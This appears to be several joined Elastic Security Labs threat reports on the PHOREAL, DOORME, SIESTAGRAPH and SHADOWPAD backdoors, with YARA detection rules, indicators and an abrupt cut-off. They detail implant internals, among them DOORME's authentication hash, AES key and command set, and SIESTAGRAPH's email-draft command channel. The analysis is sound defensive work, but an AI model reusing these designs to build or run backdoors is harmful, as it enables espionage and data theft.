Based on these arguments, we can safely conclude it's a packed version of the Impacket tool secretsdump. Impacket contains a collection of Python classes for working with network protocols. Impacket is commonly used to carry out a variety of tasks related to network security and penetration testing, though it may also be abused by threat actors.

Using the same approach (examining the command line parameters), we identified the use of the tool called NTDSDumpEx which exhibited the same command line arguments employed by this tool:

NTDSDumpEx is capable of extracting data from the Active Directory NTDS.dit database in its offline state, meaning the database does not have to be running. It can extract information such as user accounts, group memberships, access control lists, and other directory objects.

Background

Throughout the attack we witnessed a combination of TTPs that provide a recognizable fingerprint. For example, the way the attacker exported mailboxes is described in detail in this blog post. We also see a strong resemblance in the way credentials from LSASS are being exported, as described here. The majority of the commands and tools deployed by the attacker are well described on the same GitHub users’ tips repository.

We also note that the technique used to deploy NAPLISTENER is described here and the deployment method for malicious IIS modules like DOORME can be found in this blog post. And lastly, a post on Godzilla and Behinder web shells in exchange servers closely reflects how these capabilities were implemented within targeted environments.

During malware analysis of the SIESTAGRAPH, NAPLISTENER, and SOMNIRECORD families, we also identified open source repositories that minimally served as the inspiration for these payloads and which have been described in other publications from Elastic Security Labs.

We conclude that the attackers are at the very least regular consumers of blogs and open source repositories, both of which have contributed to the rapid pace of this threat’s activities.

Detection logic

The following prebuilt protections are available from Elastic: - AdFind Command Activity

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Behinder web shell.

rule Windows_Trojan_Behinder { meta: author = "Elastic Security" creation_date = "2023-03-02" last_modified = "2023-03-02" description = "Web shell found in REF2924, related to Behinder or Godzilla" os = "Windows" arch = "x86" category_type = "Trojan" family = "Behinder" threat_name = "Windows.Trojan.Behinder" License = “Elastic License v2” reference_sample = "a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b" strings: $load = { 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 } $key = "e45e329feb5d925b" ascii wide condition: all of them }

Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.

What is the threat?

PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).

What is the impact?

APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.

What is Elastic doing about it?

Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.

Investigation Details

While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.

You can read more about Elastic Security’s memory protections HERE and about in-memory attacks HERE.

With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:

Targeted process is a signed Windows binary

...
"process": {
     "args": [
       "control.exe",
       "Firewall.cpl",
       "{2D48D219-C306-4349-AE1F-09744DFFB5B9}"
     ],
     "Ext": {
       "code_signature": [
         {
           "trusted": true,
           "subject_name": "Microsoft Windows",
           "exists": true,
           "status": "trusted"
         }
       ],
       "dll": [
...

Unsigned loaded .dll

...
   "Ext": {
     "mapped_address": 1945501696,
     "mapped_size": 21135360
   },
   "path": "C:\\Windows\\SysWOW64\\tscon32.dll",
   "code_signature": [
     {
       "exists": false
     }
   ],
   "name": "tscon32.dll",
   "hash": {
     "sha1": "007970b7a42852b55379ef4cffa4475865c69d48",
     "sha256": "ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33",
     "md5": "2b6da20e4fc1af2c5dd5c6f6191936d1"
   }
 },
...

Starting module from the alerting thread

...
 "pe": {
   "original_file_name": "CONTROL.EXE"
 },
 "name": "control.exe",
 "pid": 5284,
 "thread": {
   "Ext": {
     "start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll",
...

Alerting memory region metadata

...
"memory_region": {`
   "region_size": 73728,
   "region_protection": "RWX",
   "allocation_base": 81395712,
   "bytes_allocation_offset": 0,
   "allocation_type": "PRIVATE",
   "memory_pe_detected": true,
   "region_state": "COMMIT",
   "strings": [
     "QSSSSSSh ",
     ...
     "bad cast",
     "Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}",
     "Netapi32.dll",
     "NetWkstaGetInfo",
     "NetApiBufferFree",
     "\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}",
     "list<T> too long",
     "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll",
     "DllEntry",
     ...
     ".?AVbad_alloc@std@@",
     "C:\\Windows\\syswow64\\control.exe",
     ":z:zzzzzz7",
     ...
     "InternalName",
     "mobsync.exe",
     "LegalCopyright",
...

Thread data for pivoting

...
"thread": {
 "Ext": {
   "start_address_bytes": "8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300",
   ...
   "start_address_bytes_disasm": "mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]"
 },
...

From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.

Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.

In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.

Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.

Converted YARA strings

strings:
          \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.

Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.

The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.

https://ipinfo.io/ query results for 103.75.117[.]250

{
  "ip": "103.75.117[.]250",
  "city": "Hong Kong",
  "region": "Central and Western",
  "country": "HK",
  "loc": "22.2783,114.1747",
  "org": "AS133752 Leaseweb Asia Pacific pte. ltd.",
  "timezone": "Asia/Hong_Kong",
  "asn": {
    "asn": "AS133752",
    "name": "Leaseweb Asia Pacific pte. ltd.",
    "domain": "leaseweb.com",
    "route": "103.75.117[.]0/24",
    "type": "hosting"
  },
  "company": {
    "name": "Oneprovider.com - Hong Kong Infrastructure",
    "domain": "oneprovider[.]com",
    "type": "hosting"
  },
  "privacy": {
    "vpn": false,
    "proxy": false,
    "tor": false,
    "relay": false,
    "hosting": true,
    "service": ""
  },
  "abuse": {
    "address": "1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada",
    "country": "CA",
    "email": "info@oneprovider.com",
    "name": "ONE PROVIDER",
    "network": "103.75.117[.]0/24",
    "phone": "+1 514 286-0253"
  },
  "domains": {
    "ip": "103.75.117[.]250",
    "total": 2,
    "domains": [
      "thelivemusicgroup[.]com",
      "cdn-api-cn-1[.]com"
    ]
  }

Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.

The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A 2017 Mandiant report indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.

Analysis

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.

Adversary Assessment Justification

We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.

Conclusion

YARA Rules

We have created a YARA rule to identify this PHOREAL activity.

Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo

rule Windows_Trojan_PHOREAL {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-16"
        last_modified = "2022-02-16"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PHOREAL"
        threat_name = "Windows.Trojan.PHOREAL"
        description = "Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo."
        reference_sample = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"


    strings:
              \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Enable Elastic Security Memory Protection on Windows endpoints
2. Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
3. Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.

References

The following research was referenced throughout the document:

• https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf
• https://www.mandiant.com/resources/cyber-espionage-apt32
• https://www.secureworks.com/research/threat-profiles/tin-woodlawn
• https://attack.mitre.org/software/S0158/
• https://attack.mitre.org/groups/G0050/

Observables

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

• DOORME is a malicious IIS module that provides remote access to a contested network.
• SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.
• SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.
• REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.

Preamble

This research highlights the capabilities and observations of the two backdoors, named "DOORME" and "SIESTAGRAPH", and a backdoor called “SHADOWPAD” that was disclosed by Elastic in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.

DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.

Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.

Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our previous research into REF2924.

DOORME code analysis

Introduction to backdoored IIS modules

IIS, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.

As an example, a backdoored module that overrides the OnGlobalPreBeginRequestevent can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.

Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.

Introduction to the DOORME IIS module

DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We first discussed the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.

DOORME uses the RegisterModule function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the CGlobalModuleclass and its event handler, OnGlobalPreBeginRequest. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.

This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.

Obfuscation

String obfuscation

DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.

Anti-disassembly technique

The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.

Control flow obfuscation

The malware in question also employs a technique known as Control Flow Obfuscation (CFO) to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.

The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.

Dynamic import table resolution obfuscation

Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.

DOORME first resolves the address of LoadLibraryA and GetProcAddress Windows API by parsing the kernel32.dll module export table, then uses the GetProcAddress function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.

Execution flow

Authentication

The malicious IIS module backdoor operates by looking for the string " 79cfdd0e92b120faadd7eb253eb800d0" (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.

GET request handling

GET requests are used to perform a status check: the malware returns the string “ It works!” followed by the username and the hostname of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.

POST requests handling

The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.

Base64 implementation

The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is "VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7" , while the normal index table used by the Base64 algorithm is "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/". This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.

AES algorithm implementation

The malware uses AES (Advanced Encryption Standard) in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash " 79cfdd0e92b120faadd7eb253eb800d0", as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.

In our case the AES key is “ 5a430ab45c7e142c70018b99fe0d2da3” and the AES IV is “ 57ce15b304a97772”.

Command handling table

The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the "pipe" symbol( | ).

Command ID 0x42

The first command implemented has the ID 0x42 and generates a Globally Unique Identifier (GUID) by calling the API CoCreateGuid. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.

Command ID 0x43

Another command, ID 0x43 , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions NtAllocateVirtualMemory and NtCreateThreadEx.

The NtAllocateVirtualMemory function is used to allocate memory in the same process for shellcode, while the NtCreateThreadEx function creates an execution thread with shellcode in that newly-allocated memory.

Command ID 0x63

Command ID 0x63 allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.

Command ID 0x44

Command ID 0x44 provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.

DOORME Summary

In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( w3wp.exe ), and the creation of new executables.

SIESTAGRAPH code analysis

Introduction to the SIESTAGRAPH implant

The implant utilizes the Microsoft Graph API to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate OneDriveAPI library which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.

Execution flow

SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.

![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

During the setup phase the malware uses the Microsoft Office GUID ( d3590ed6-52b3-4102-aeff-aad2292ab01c ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.

Authentication

The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.

To facilitate this process, the attacker utilized a third-party and legitimate library named OneDriveAPI. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.

The malware utilizes the GetAccessTokenFromRefreshToken method to request an authentication token. This token is then used in all subsequent API requests.

Refresh tokens have a 90-day expiration window. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.

Command and control

A session token ( sessionToken ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.

After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called sendSession.

Inspecting the sendSession method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.

After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.

When receiving a command, the implant will use the getMessages method to check for any draft emails with commands from the attacker.

With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( authToken ). This token is then used in the HTTP request header following the Authorization: Bearer ( “Authorization”, “Bearer “ + authToken ).

Every call to this method will contain the sessionToken , a command, and command arguments, separated with colons ( : ) ( <sessionToken>:<Command>:<command arguments> ).

If a command has multiple arguments they will be split by a pipe ( | ). An example of this is the rename command where the source and destination names are split by a pipe.

We have identified the following commands:

Several commands are self-explanatory ( ListDrives , Rename , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.

C - run command

When the C command is received the malware runs the runCommand method. This method takes in the name of cmd.exe , the command line to run, and the number of milliseconds to wait for the new process to exit.

If the command parameter is not null or empty, the method proceeds to create a new instance of the System.Diagnostics.Process class, which is used to start and interact with a new process. It sets the properties of the process instance's StartInfo property, which is of the ProcessStartInfo class, such as the FileName property to the cmd parameter passed to the method, the Arguments property to /c concatenated with the command parameter, and also sets UseShellExecute , RedirectStandardInput , RedirectStandardOutput , RedirectStandardError, and CreateNoWindow property. As this method is only called with the hard coded value of cmd for the cmd parameter, the resulting command will always be cmd /c <command to run>. This is a common way to run commands if one does not have direct access to an interactive shell.

![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

N - Sleep timer update

The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the SleepTimer variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.

D - Upload to OneDrive

The D command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive

The method receives a filePath , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format OK|C:\foo\file.txt.

If the upload did not succeed the attacker will receive the error message OK|<Error message>.

While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the exported Exchange mailboxes were collected by the threat actor.

U - Download from OneDrive

The download function is similar to the upload function. Again, from the attacker's perspective, the U command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.

NET - Gather network information

The NET command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, Ws2_32.dll (the Windows socket API) and iphlpapi.dll (the Windows IP helper API).

The NET command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.

SS - Take screenshot

To see the victim's desktop, SIESTAGRAPH can call the method named TakeScreenShot which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.

This function creates a new Bitmap object with the width and height of the primary screen's bounds. Then it creates a new Graphics object from the Bitmap object and uses the CopyFromScreen function to take a screenshot and copy it to the Graphics object.

It then creates a new MemoryStream object and uses the Save method of the Bitmap object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the Convert.ToBase64String method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.

SIESTAGRAPH Summary

SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.

SHADOWPAD loader code analysis

Introduction to log.dll

When Elastic Security Labs disclosed REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the SHADOWPAD malware family.

The DLL, log.dll , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: BDReinit.exe ), named 13802 AR.exe (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as svchost.exe before installing itself as a service. Once log.dll is loaded, it will spawn Microsoft Windows Media Player ( wmplayer.exe ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.

At runtime, log.dll looks for the log.dll.dat file which contains the shellcode to be executed. Then log.dll will encrypt and store the shellcode in the registry and shred the original log.dll.dat file. If the file doesn’t exist it will skip this part.

Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.

Execution flow

Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender BDReinit.exe binary. The offset to the trampoline (jump instructions) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd ). This side-loading behavior was previously reported by Positive Technologies.

For our analysis, we patched log.dll to execute without the BitDefender sideloading requirement.

Capabilities

Obfuscation

The log.dll uses two lure functions to bypass automatic analysis.

We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.

log.dll incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.

This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.

The resolver function of each call resolves the address of the next gadget and passes execution.

The obfuscation pattern is simple and a trace can be used to recover the original instructions:

**result = []
for i, x in enumerate(trace):
 if "ret" in x:
 result.append(trace[i + 1])**

API loading

The sample uses the common Ldr crawling technique to find the address of kernel32.dll.

Next, log.dll parses the exports of kernel32.dll to get the address of the LoadLibraryA and GetProcAddress functions. It uses GetProcAddress to resolve imports as needed.

Persistence

